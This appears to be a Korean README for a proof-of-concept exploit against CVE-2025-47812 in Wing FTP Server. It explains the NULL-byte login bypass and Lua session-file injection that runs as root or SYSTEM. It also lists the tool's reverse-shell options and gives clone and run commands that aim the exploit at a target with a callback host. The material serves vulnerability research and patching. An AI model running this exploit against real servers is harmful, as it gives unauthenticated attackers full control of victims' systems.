
CVE-2025-47812용 익스플로잇으로, 사용자 지정 의사 셸과 강력한 오류 처리를 갖추고 있습니다.
CVE-2025-47812 부적절한 입력 검증으로 인한 원격 코드 실행 및 전체 시스템 장악
RCE Security의 Julien Ahrens가 WingFTP에 영향을 미치는 치명적인 보안 취약점을 발견했습니다. CVE-2025-47812로 추적되는 이 취약점은 CVSS 점수 10점입니다. 이 취약점을 성공적으로 악용하면 원격의 인증되지 않은 공격자가 임의 코드를 실행하여 시스템 전체를 장악할 수 있습니다.
Wing FTP Server는 크로스 플랫폼, 사용자 친화적이며 안전한 FTP 서버 소프트웨어입니다. FTP, FTPS, HTTP, HTTPS, SFTP와 같은 여러 파일 전송 프로토콜을 지원하여 클라이언트 연결에 유연성을 제공합니다.
CVE-2025-47812를 연구하기 위해 Linux 호스트에서 Wing FTP Server 7.4.3을 실행하는 Docker 컨테이너를 배포했습니다. 컨테이너는 웹 인터페이스를 노출하도록 구성되었고, 인증되지 않은 테스트를 쉽게 수행하기 위해 익명 로그인을 활성화했습니다. 또한 인증된 시나리오를 시뮬레이션하기 위해 테스트 사용자 계정(dev-test:test)을 생성했습니다. 이러한 구성은 취약점을 재현하고 익스플로잇 동작을 검증할 수 있는 안전하고 통제된 환경을 제공했습니다.
CVE ID: CVE-2025-47812
CVSS v3.1 벡터:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
기본 점수: 10.0 (치명적)
영향받는 소프트웨어: <= 7.4.3
영향: 원격 코드 실행으로 인한 전체 시스템 장악.
악용 전제 조건:
익명 로그인 허용 또는 유효한 사용자 자격 증명
사용자에게 sudo 권한 불필요
사용자가 로그인을 시도하면 c_CheckUser 호출이 실행되는데, 이 호출은 NULL 바이트 앞의 문자열이 기존 사용자와 일치하기만 하면 사용자 이름에서 NULL 바이트 뒤에 무엇이 오든 항상 OK_CHECK_CONNECTION을 반환합니다. 공격자는 알려진 사용자 이름에 NULL 바이트와 추가 값을 덧붙여 비밀번호 검사를 우회할 수 있습니다. 시스템은 strlen()을 사용하여 사용자 이름의 문자열 크기를 계산하지만, strlen은 NULL 바이트 종결자에 도달할 때까지의 문자만 계산하므로 삭제되지 않은(unsanitized) 사용자 이름이 매칭됩니다.
삭제되지 않은 사용자 이름(주입된 NULL 및 brainy 페이로드 포함)은 Lua 코드로 세션 파일에 직접 저장됩니다. 이 세션 파일은 .lua와 유사하며, 이후 세션이 로드될 때 실행됩니다. Linux에서 Wing FTP 서버는 root로 실행되고, Windows에서는 SYSTEM으로 실행됩니다. 주입된 Lua 페이로드는 세션 리로드 시 전체 권한으로 실행됩니다.
참고: 이 동작은 비밀번호가 설정되지 않았거나 유효한 자격 증명이 있는 경우에만 발생합니다. 사용자에게 비밀번호가 설정된 경우 일부 엄격한 비밀번호 검증이 적용됩니다.
Options:
-t, --target Target Wing FTP Server URL (e.g., http://192.168.1.100)
-u, --username Username to authenticate (default: anonymous)
-p, --password Password to authenticate (default: empty)
-lh, --lhost Local host to listen for reverse shell (default: 127.0.0.1)
-lp, --lport Local port to listen for reverse shell (default: 31337)
-ns, --no-shell To specify the exploit to not span a temp shell. (Note if it set should manually set listener)
-v, --verbose Enable verbose/debug output
-h, --help Show this help message and exit
git clone https://github.com/pevinkumar10/CVE-2025-47812
cd CVE-2025-47812
pip3 install -r requirements.txt
CVE-2025-47812 - Wing FTP Server 인증되지 않은 RCE
CVE-2025-47812 - Wing FTP Server 인증된 RCE (dev-test:test)
사용 예:
python3 exploit.py --target http://172.17.0.2 --lhost 172.17.0.1 -lport 31336
사용자는 취약점을 패치하려면 WingFTP 버전 7.4.4로 업그레이드해야 합니다.
자세한 내용은 WingFTP 릴리스 노트를 참조하십시오.
참고: 저는 위 참조 자료를 연구 목적으로 사용했으며, 더 많은 기능과 견고한 오류 처리를 추가하여 익스플로잇을 업데이트했습니다.
이 Python PoC는 MIT 라이선스에 따라 배포됩니다. 원본 익스플로잇 개념과 공개 크레딧은 Stratascale Cyber Research Unit에 있습니다.